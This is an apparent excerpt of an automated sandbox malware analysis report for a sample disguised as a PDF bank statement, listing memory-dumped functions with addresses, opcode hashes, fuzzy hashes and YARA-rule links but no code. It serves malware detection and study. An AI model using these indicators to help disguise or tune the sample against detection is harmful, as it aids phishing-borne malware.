                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 1704c5e79a32bafa6cdf0270c0c3b3b89cb3299f92cc9683e9bd77738ebded87
                                                                                                                • Instruction ID: 4c014503be652c9dc5838b6dfc82a39001ba06d675e9bf2ecd741ad9310f7386
                                                                                                                • Opcode Fuzzy Hash: 1704c5e79a32bafa6cdf0270c0c3b3b89cb3299f92cc9683e9bd77738ebded87
                                                                                                                • Instruction Fuzzy Hash: B0F08C327001109FD7589AAE9898F2F7BEAFBC8720F118069F509DB395CE20DC0287E0
                                                                                                                Function 05ABE400 Relevance: .0, Instructions: 34COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: fc506697037ae34ac55bbb3a64984fa76eda49612528c8f5c7f5d9cd59b6b337
                                                                                                                • Instruction ID: 51f7ed4ad2694151ffcfe129555a26d855a962a2a6d54de7a6109d8bbc225a93
                                                                                                                • Opcode Fuzzy Hash: fc506697037ae34ac55bbb3a64984fa76eda49612528c8f5c7f5d9cd59b6b337
                                                                                                                • Instruction Fuzzy Hash: E6F05E323003045F9B10DB69E884D5FB7E9EF892A47148A2AF519CB350DB72ED0187A1
                                                                                                                Function 05AB3030 Relevance: .0, Instructions: 34COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2893eb2050e09356d5ba9f0b3512a37a5b8ec9077e8f33c7c4af2f949089d72c
                                                                                                                • Instruction ID: 37c45cf2cbd5f933120e5b2e5a2604b5c191feff3ea1524e23717e3102702232
                                                                                                                • Opcode Fuzzy Hash: 2893eb2050e09356d5ba9f0b3512a37a5b8ec9077e8f33c7c4af2f949089d72c
                                                                                                                • Instruction Fuzzy Hash: 82F04F319003189BDF149BA8C819BDEBAF5AF8C311F100629E506B73D0DBB55C45CAA5
                                                                                                                Function 05AC6611 Relevance: .0, Instructions: 33COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 6e03aecd97fa31ed60255cd48a8cb8b009359b8ccee6da861d4f2822511ab42e
                                                                                                                • Instruction ID: bad20339f5b472bf04aa10b719504f740ba9529f6c5e5848b9e0e799624e59e8
                                                                                                                • Opcode Fuzzy Hash: 6e03aecd97fa31ed60255cd48a8cb8b009359b8ccee6da861d4f2822511ab42e
                                                                                                                • Instruction Fuzzy Hash: 58F030353016105F8744BB5ED898D5ABBEAEFCA62135041A9F50AC7366CA60AC11CAB5
                                                                                                                Function 05ABB9E1 Relevance: .0, Instructions: 32COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 90bbd745585f93b431b8d078290da62c5b51595588fc63bc4849ee90f7ce486f
                                                                                                                • Instruction ID: d1b21660a932f1fd0b82288bc1e67735f52958da5dcfc3b600fc18acb7a21622
                                                                                                                • Opcode Fuzzy Hash: 90bbd745585f93b431b8d078290da62c5b51595588fc63bc4849ee90f7ce486f
                                                                                                                • Instruction Fuzzy Hash: 34F0B4797103408FC314AB64E958A157BF6EB882227008969D447D7790DB70EC82CBB0
                                                                                                                Function 05ABDAC0 Relevance: .0, Instructions: 32COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 3192d8b698158d9bbe91c041faea138744889eea689d60460ed65a7744ec930f
                                                                                                                • Instruction ID: 9f6247cabb091b4669c1f6d18f6344cbcf5f51464f44d834e24e9f96581e0072
                                                                                                                • Opcode Fuzzy Hash: 3192d8b698158d9bbe91c041faea138744889eea689d60460ed65a7744ec930f
                                                                                                                • Instruction Fuzzy Hash: E2F0E9313012548FCB06EB34D49499D377AEFC626136085A6DC058B365DF788C4387A1
                                                                                                                Function 00F218D8 Relevance: .0, Instructions: 31COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 1273cdeb14c3b0387681c7bb82761b836820d7f66c9f2574676fedca7fcbc949
                                                                                                                • Instruction ID: d65c6622a87c35b466a71e2c9ee45099412697bf79637cc70c4eadd4f0e07c81
                                                                                                                • Opcode Fuzzy Hash: 1273cdeb14c3b0387681c7bb82761b836820d7f66c9f2574676fedca7fcbc949
                                                                                                                • Instruction Fuzzy Hash: 41F0A0353007185F9721AF7FE81456E339AFBD57603404439D42AC7340EF29EE858BA6
                                                                                                                Function 05AC8188 Relevance: .0, Instructions: 31COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 06621b14e0c7915a946201dbc9b6134b89116f1b92a1c2f437405c59d15eaa7d
                                                                                                                • Instruction ID: 478b8ca50610075807493efde68706ca8e2a3bf8e235a56e0abdef947d903bc5
                                                                                                                • Opcode Fuzzy Hash: 06621b14e0c7915a946201dbc9b6134b89116f1b92a1c2f437405c59d15eaa7d
                                                                                                                • Instruction Fuzzy Hash: 4AE065353401105FC744AB5EE898E5EBBDAEFCDA20B2140A9F209CB361CEA1EC018B94
                                                                                                                Function 05AB3040 Relevance: .0, Instructions: 30COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: bdfefbb4666cd2b3abc22cfc0aa84d00db0ed36ce552e4164cc62ede1d214bd6
                                                                                                                • Instruction ID: f86314712bbb9c073302ff9f91532afcbdeac11711e2b1ce64f4baadc45486c0
                                                                                                                • Opcode Fuzzy Hash: bdfefbb4666cd2b3abc22cfc0aa84d00db0ed36ce552e4164cc62ede1d214bd6
                                                                                                                • Instruction Fuzzy Hash: 21F01D31A002589BDF149B68C419ADEBAF5BF8C311F100529D402B7390DBB51C45CBA1
                                                                                                                Function 05ABDAD0 Relevance: .0, Instructions: 30COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 3639ac1e09f4d7369c3d7a37f2ca6bee043cd49168aed8d2d07dd70eb847c53f
                                                                                                                • Instruction ID: d7f88e2adc6fa2e8dc8b699e29ec460db7a1f7dd6fdb0dfce2ce3e6d0f231394
                                                                                                                • Opcode Fuzzy Hash: 3639ac1e09f4d7369c3d7a37f2ca6bee043cd49168aed8d2d07dd70eb847c53f
                                                                                                                • Instruction Fuzzy Hash: B4F030313022189BD706EB25D494D9E777EEFC67603A08165EC048B364DF759D4287A5
                                                                                                                Function 05AB29FC Relevance: .0, Instructions: 29COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 277ee9fc3ecd583e1895d1b79679bb8eabca0f07be45170c9830c95fb1e03165
                                                                                                                • Instruction ID: 4845c502c5cf5a2788505a89c24b265996d1ef3f91be1abd973c705a9236e774
                                                                                                                • Opcode Fuzzy Hash: 277ee9fc3ecd583e1895d1b79679bb8eabca0f07be45170c9830c95fb1e03165
                                                                                                                • Instruction Fuzzy Hash: 83F0A7B990924A8BF7119B50ED99BFF7F69BF01341F04005BD415D61A2D7B58880D7E1
                                                                                                                Function 05ABDA66 Relevance: .0, Instructions: 29COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2ea3092893caa3df00ee38d699891ab72fa8117d503f22e60edc642665b01a6a
                                                                                                                • Instruction ID: c86365add555fb18a88babdb48e9b094e9b7ed26f34d7da0258592e69ef1e235
                                                                                                                • Opcode Fuzzy Hash: 2ea3092893caa3df00ee38d699891ab72fa8117d503f22e60edc642665b01a6a
                                                                                                                • Instruction Fuzzy Hash: 5AF01D75A09109DFEF14CFA4E084FECBBB6FB48351F18C029E815A6201C7759981CF90
                                                                                                                Function 05AC3ED0 Relevance: .0, Instructions: 28COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 8ca4228d94b059dc5bff548cc15cc111911f8942ad53a43ac4316ce46c764b67
                                                                                                                • Instruction ID: 3b90482c7d8146063479f8b94a6614d31c178ae2cbf624d87dcb4d48a63bfb6e
                                                                                                                • Opcode Fuzzy Hash: 8ca4228d94b059dc5bff548cc15cc111911f8942ad53a43ac4316ce46c764b67
                                                                                                                • Instruction Fuzzy Hash: B7E04F317002545BD61426BA6C59AABAADBDBCCB61B604479E50AD7341DE658C0283A4
                                                                                                                Function 05AC5A90 Relevance: .0, Instructions: 27COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: abcb50b14341e483293a2bbac3af94f72e7868996fa72f087151a0843bd5730c
                                                                                                                • Instruction ID: b06c1150b919580d8eeee4b329cf0cc37cab5766eeab857e0297eb1696b9bbdd
                                                                                                                • Opcode Fuzzy Hash: abcb50b14341e483293a2bbac3af94f72e7868996fa72f087151a0843bd5730c
                                                                                                                • Instruction Fuzzy Hash: 7EE0D8313013249FC7096B38D52599A3BFADF4961130044B9D009CB751DE75EC4387D5
                                                                                                                Function 05AB3535 Relevance: .0, Instructions: 27COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 7f4eb945f07dda24adaecfab3d15603d92ed67567662c312f59cd351c2a787c7
                                                                                                                • Instruction ID: 9f4777022ee774da0b39e8108b67ffd907ebc334b135333c0e1fb6cc632db1c2
                                                                                                                • Opcode Fuzzy Hash: 7f4eb945f07dda24adaecfab3d15603d92ed67567662c312f59cd351c2a787c7
                                                                                                                • Instruction Fuzzy Hash: 10E06536B100158F9F14EBACE5659ED73BAAF885117108167D406E7366CFB09C068BD0
                                                                                                                Function 05AB4548 Relevance: .0, Instructions: 27COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: be7d2b5e8eed496ff5826019656980d2808a8251398385ff1d6bc10070cc94fe
                                                                                                                • Instruction ID: 795cda1d7fd90f3be45f7ee7271bc12a813c1c8057f506f5f5acab3a00da8534
                                                                                                                • Opcode Fuzzy Hash: be7d2b5e8eed496ff5826019656980d2808a8251398385ff1d6bc10070cc94fe
                                                                                                                • Instruction Fuzzy Hash: 06E08631704210675E1426AE649897EBADFEBC9570754447EE60DC7341DEF29C0543E4
                                                                                                                Function 05AB2630 Relevance: .0, Instructions: 27COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 37d4be2ae964d95b7c0a0e63d4f8cfc3710952aae3b2fd925ad8f48b7dbaad4b
                                                                                                                • Instruction ID: 48b0e8731f4a1700da0af912746bee214ca9e0bc7a8fc91041e2cdffcb4410ee
                                                                                                                • Opcode Fuzzy Hash: 37d4be2ae964d95b7c0a0e63d4f8cfc3710952aae3b2fd925ad8f48b7dbaad4b
                                                                                                                • Instruction Fuzzy Hash: BFF06275E002199F8B44DFA9D841A9EFBF5EF49210B64816AD918E7211E731AA128BD0
                                                                                                                Function 05ABAF89 Relevance: .0, Instructions: 26COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2494782ed5842a3d2322a6f6443e46b664fee33aae40f3a55c71d227aac2780e
                                                                                                                • Instruction ID: cfda936c56613134550b6522232fd6b37dde7521b46557053da6d1bce9ce3786
                                                                                                                • Opcode Fuzzy Hash: 2494782ed5842a3d2322a6f6443e46b664fee33aae40f3a55c71d227aac2780e
                                                                                                                • Instruction Fuzzy Hash: 60E061727091C15FF711863555449CAFF65AF85270F0440ABE448C7602DB50C905C3B4
                                                                                                                Function 00F20E6F Relevance: .0, Instructions: 25COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: bd4d880d7577d1b5be3e7f7964e5e612095b0980bf3708a7c7d85e7c2a594642
                                                                                                                • Instruction ID: 5371ed488572c37ac5986df8a3853613482c785e5f30c8b5aed55cadc975b48e
                                                                                                                • Opcode Fuzzy Hash: bd4d880d7577d1b5be3e7f7964e5e612095b0980bf3708a7c7d85e7c2a594642
                                                                                                                • Instruction Fuzzy Hash: 73E01A30514289AFCB01DFB8ED4569CBBB9EF4620871440E5D808E7312EA31AE209B61
                                                                                                                Function 05AC0D20 Relevance: .0, Instructions: 25COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 4e422d90408c9b76382afb4060ea5e46dac4b8218b3bd9e80a565c2271d7e9a0
                                                                                                                • Instruction ID: ddd941c1a187ebb42bb4b0884b9f470e0c93a32069de212b904193204cf9bd3a
                                                                                                                • Opcode Fuzzy Hash: 4e422d90408c9b76382afb4060ea5e46dac4b8218b3bd9e80a565c2271d7e9a0
                                                                                                                • Instruction Fuzzy Hash: 16E04F3134071467D32556259D05F5ABBAADBC5E20F20406DF5094B7818FB1AC42C7D8
                                                                                                                Function 05AB7DC0 Relevance: .0, Instructions: 25COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 55caba608ce0ed76ab2f77de57e711b960deae4e8832e1f192e327e059e82a9b
                                                                                                                • Instruction ID: 9485cebf611e034fe327bd06ca28d207ca78124f95028b892bdac88d071bf2ab
                                                                                                                • Opcode Fuzzy Hash: 55caba608ce0ed76ab2f77de57e711b960deae4e8832e1f192e327e059e82a9b
                                                                                                                • Instruction Fuzzy Hash: 3FE086367007004B8754966AE89C82FBBDBEBCC661314843DE54FC3301DE71EC029BA0
                                                                                                                Function 05ABB990 Relevance: .0, Instructions: 25COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 6d1ba9361635f7cdcb65aa98d21ab395e5b3f8770681d2bb34aa11d4dd5b0637
                                                                                                                • Instruction ID: d550021e2fd9e0d1ead9829eee4e3c529e5862f77a730c3f1b1b639066a32d31
                                                                                                                • Opcode Fuzzy Hash: 6d1ba9361635f7cdcb65aa98d21ab395e5b3f8770681d2bb34aa11d4dd5b0637
                                                                                                                • Instruction Fuzzy Hash: 7EF065305007588FDB20DB55E444F6ABBEAEF40220F00C929D09A8B751DBB0FC45CBA1
                                                                                                                Function 05AB4591 Relevance: .0, Instructions: 23COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 7326b04c5669026633d91f3c6460b3b34ace5248bc53a09c449ea7ca15cb16e9
                                                                                                                • Instruction ID: 7f51625cd40ecd2a3e51039a6fc6307ccdd2eea3851a70410863e548c0d49a9d
                                                                                                                • Opcode Fuzzy Hash: 7326b04c5669026633d91f3c6460b3b34ace5248bc53a09c449ea7ca15cb16e9
                                                                                                                • Instruction Fuzzy Hash: E7E02272E002049FEB40DBB4DA013EABFB1AB08210F1082A6D518E7142E370DB298F80
                                                                                                                Function 05AB45A0 Relevance: .0, Instructions: 22COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: bc9a336fc1e23109e47515b72a934b85c2297288a3780f232853356f11ec559d
                                                                                                                • Instruction ID: f9f3d3f1b95f659e0d997a5037debaf05e8965d75f6cb41626e7107dbea82917
                                                                                                                • Opcode Fuzzy Hash: bc9a336fc1e23109e47515b72a934b85c2297288a3780f232853356f11ec559d
                                                                                                                • Instruction Fuzzy Hash: A4E01271D04218ABDB40DBA5D9456DDBFF9AB08210F1081A5D559D7242E7719B108B91
                                                                                                                Function 05AB3350 Relevance: .0, Instructions: 22COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a59d36b41ad09e80edac9508ee5757744913271692db4274ef12e687a0f397f6
                                                                                                                • Instruction ID: adbe03b8c127af5fd39142b575993e979aa722f5652069c6299e8d5cf52813e1
                                                                                                                • Opcode Fuzzy Hash: a59d36b41ad09e80edac9508ee5757744913271692db4274ef12e687a0f397f6
                                                                                                                • Instruction Fuzzy Hash: 45E0E5B1D012199F8F40EFE8A9056EEBBF4EA48210F10806AD919E3241E7309A01ABD1
                                                                                                                Function 00F2D529 Relevance: .0, Instructions: 21COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 1b45c67c27996157e0faad9ace97b2959be091038e5b23815390825efa8f6840
                                                                                                                • Instruction ID: e4962b97d53d7e34017c7b36fb529b916f994a98bd89836a72a0a34ddb82b945
                                                                                                                • Opcode Fuzzy Hash: 1b45c67c27996157e0faad9ace97b2959be091038e5b23815390825efa8f6840
                                                                                                                • Instruction Fuzzy Hash: 45E092B0D0434AAFDB10DBA4D41069DBFF0AF59311F1142DDA854D73D0DB3486128B42
                                                                                                                Function 00F2FF92 Relevance: .0, Instructions: 21COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 8ffd246f385c7d0944cb8aef7bcac475000f765aaab9a0c0abf9e7f488be66a9
                                                                                                                • Instruction ID: 1a3fe5f801ac94e6761cd32cb87af8c6cf3ec0a8490a645a5a95bc28449fdb7b
                                                                                                                • Opcode Fuzzy Hash: 8ffd246f385c7d0944cb8aef7bcac475000f765aaab9a0c0abf9e7f488be66a9
                                                                                                                • Instruction Fuzzy Hash: D7E08C73B046501BCB345AAEA84450BBAE9EBC9261784423EE206C37C1DA60C80687B0
                                                                                                                Function 05AC1AB0 Relevance: .0, Instructions: 21COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 5840fe092df624e3e7ff3481db1fb2dd7040a35ffea9f441829031e240291eca
                                                                                                                • Instruction ID: ff59b0cd11ffece62004e5cacc9c5b922e311e0b556e0201f6986f9f5f36bfe5
                                                                                                                • Opcode Fuzzy Hash: 5840fe092df624e3e7ff3481db1fb2dd7040a35ffea9f441829031e240291eca
                                                                                                                • Instruction Fuzzy Hash: 98E04F70A02249ABCF00DBB8EA8674DB7B5EB45200F5089A9E809DB206EE319E059761
                                                                                                                Function 05AC6DCA Relevance: .0, Instructions: 20COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
